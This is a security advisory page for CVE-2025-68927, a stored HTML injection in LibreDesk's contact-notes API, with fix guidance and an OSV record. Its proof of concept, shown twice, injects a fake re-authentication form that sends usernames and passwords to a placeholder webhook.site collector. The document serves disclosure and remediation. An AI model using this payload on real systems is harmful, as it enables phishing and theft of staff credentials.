CVE-2025-68927: Github.com/abhinavxd/libredesk Libredesk Has Improper Neutralization Of Vulnerability

HIGH
Advisory Identifier: GHSA-wh6m-h6f4-rjf4
CWE-79
Published
Advisory Summary

CVE-2025-68927 is a HIGH libredesk has improper neutralization of vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/abhinavxd/libredesk libraries in the Go ecosystem. The issue involves libredesk has improper neutralization of html tags in a web page. Remediation is available by upgrading affected packages to version 0.8.6-beta.

CVE-2025-68927 at a Glance

CVE Identifier CVE-2025-68927
GHSA Identifier GHSA-wh6m-h6f4-rjf4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Github.com/abhinavxd/libredesk
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2025-68927

To remediate this vulnerability, upgrade all affected Github.com/abhinavxd/libredesk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/abhinavxd/libredesk fixed: 0.8.6-beta
Upgrade github.com/abhinavxd/libredesk to 0.8.6-beta
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/abhinavxd/libredesk

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-68927, inspect your project dependencies for Github.com/abhinavxd/libredesk:

inspect dependencies for github.com/abhinavxd/libredesk

Analyze the terminal output to locate any version of Github.com/abhinavxd/libredesk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.6-beta), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/abhinavxd/libredesk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary LibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. --- ### Details When notes are added through the LibreDesk web application, the client sends note content wrapped inside `<p>` tags. The backend appears to **trust this HTML structure** and stores the content as-is. By intercepting the request to: ``` POST /api/v1/contacts/3/notes ``` and **removing the `<p>` wrapper**, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it. As a result: * Arbitrary HTML tags (e.g., `<form>`, `<input>`, `<img>`) are stored * The injected HTML is rendered when the notes are viewed in the application * No server-side HTML sanitization or allowlisting is enforced This indicates that the application relies on **client-side HTML formatting assumptions**, which can be bypassed by modifying the request. --- ### PoC 1. Log in to LibreDesk and open any contact. 2. Add a note normally via the UI. 3. Intercept the request to: ``` POST /api/v1/contacts/3/notes ``` 4. Original request body (example): ```json { "note": "<p>This is a normal note</p>" } ``` 5. Modify the payload by removing the `<p>` tag and injecting arbitrary HTML: ```json { "note": "<form action='https://webhook.site/xxxx' method='POST'> <input type='text' name='username' placeholder='Username'> <input type='password' name='password' placeholder='Password'> <input type='submit' value='Re-authenticate'> </form>" } ``` 6. Forward the request. 7. View the contact note in the LibreDesk UI. **Result:** The injected HTML form is rendered inside the application. --- ### Impact This is a **stored HTML injection** vulnerability affecting any user who can add or view contact notes. Potential impact includes: * Credential phishing through injected forms * CSRF-style forced actions using HTML-only forms * UI redress and social engineering * Increased risk if notes are viewed by privileged users (e.g., admins or agents) If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

CVE-2025-68927 Affected Github.com/abhinavxd/libredesk Versions

1 component(s)
Fixed Versions:
0.8.6-beta
Product / Package Ecosystem Affected Versions Fixed Version
github.com/abhinavxd/libredesk
Go
< 0.8.6-beta
0.8.6-beta

References

Frequently Asked Questions

What is CVE-2025-68927?
CVE-2025-68927 is a security vulnerability in Github.com/abhinavxd/libredesk involving Libredesk has Improper Neutralization of HTML Tags in a Web Page under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Github.com/abhinavxd/libredesk versions are affected?
Affected versions include releases prior to 0.8.6-beta across affected packages: github.com/abhinavxd/libredesk.
What version fixes CVE-2025-68927?
Upgrading to 0.8.6-beta (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/abhinavxd/libredesk affected?
Yes, github.com/abhinavxd/libredesk is affected in releases prior to 0.8.6-beta. Upgrade your dependency to 0.8.6-beta or later.
What CWE is associated with CVE-2025-68927?
CVE-2025-68927 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Go dependencies for CVE-2025-68927?
Run the dependency tree command: 'inspect dependencies for github.com/abhinavxd/libredesk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wh6m-h6f4-rjf4",
  "modified" : "2025-12-31T00:13:33Z",
  "published" : "2025-12-16T20:43:16Z",
  "aliases" : [ "CVE-2025-68927" ],
  "summary" : "Libredesk has Improper Neutralization of  HTML Tags in a Web Page",
  "details" : "### Summary\n\nLibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.\n\n---\n\n### Details\n\nWhen notes are added through the LibreDesk web application, the client sends note content wrapped inside `<p>` tags. The backend appears to **trust this HTML structure** and stores the content as-is.\n\nBy intercepting the request to:\n\n```\nPOST /api/v1/contacts/3/notes\n```\n\nand **removing the `<p>` wrapper**, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.\n\nAs a result:\n\n* Arbitrary HTML tags (e.g., `<form>`, `<input>`, `<img>`) are stored\n* The injected HTML is rendered when the notes are viewed in the application\n* No server-side HTML sanitization or allowlisting is enforced\n\nThis indicates that the application relies on **client-side HTML formatting assumptions**, which can be bypassed by modifying the request.\n\n---\n\n### PoC\n\n1. Log in to LibreDesk and open any contact.\n2. Add a note normally via the UI.\n3. Intercept the request to:\n\n   ```\n   POST /api/v1/contacts/3/notes\n   ```\n4. Original request body (example):\n\n   ```json\n   {\n     \"note\": \"<p>This is a normal note</p>\"\n   }\n   ```\n5. Modify the payload by removing the `<p>` tag and injecting arbitrary HTML:\n\n   ```json\n   {\n     \"note\": \"<form action='https://webhook.site/xxxx' method='POST'>\n                <input type='text' name='username' placeholder='Username'>\n                <input type='password' name='password' placeholder='Password'>\n                <input type='submit' value='Re-authenticate'>\n              </form>\"\n   }\n   ```\n\n6. Forward the request.\n7. View the contact note in the LibreDesk UI.\n\n**Result:**\nThe injected HTML form is rendered inside the application.\n\n\n---\n\n### Impact\n\nThis is a **stored HTML injection** vulnerability affecting any user who can add or view contact notes.\n\nPotential impact includes:\n\n* Credential phishing through injected forms\n* CSRF-style forced actions using HTML-only forms\n* UI redress and social engineering\n* Increased risk if notes are viewed by privileged users (e.g., admins or agents)\n\nIf the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/abhinavxd/libredesk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.6-beta"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/abhinavxd/libredesk/security/advisories/GHSA-wh6m-h6f4-rjf4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68927"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/abhinavxd/libredesk/commit/270347849943ac6a43e9fd6ebdc99c71841900eb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/abhinavxd/libredesk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-16T20:43:16Z",
    "nvd_published_at" : "2025-12-27T01:15:42Z"
  }
}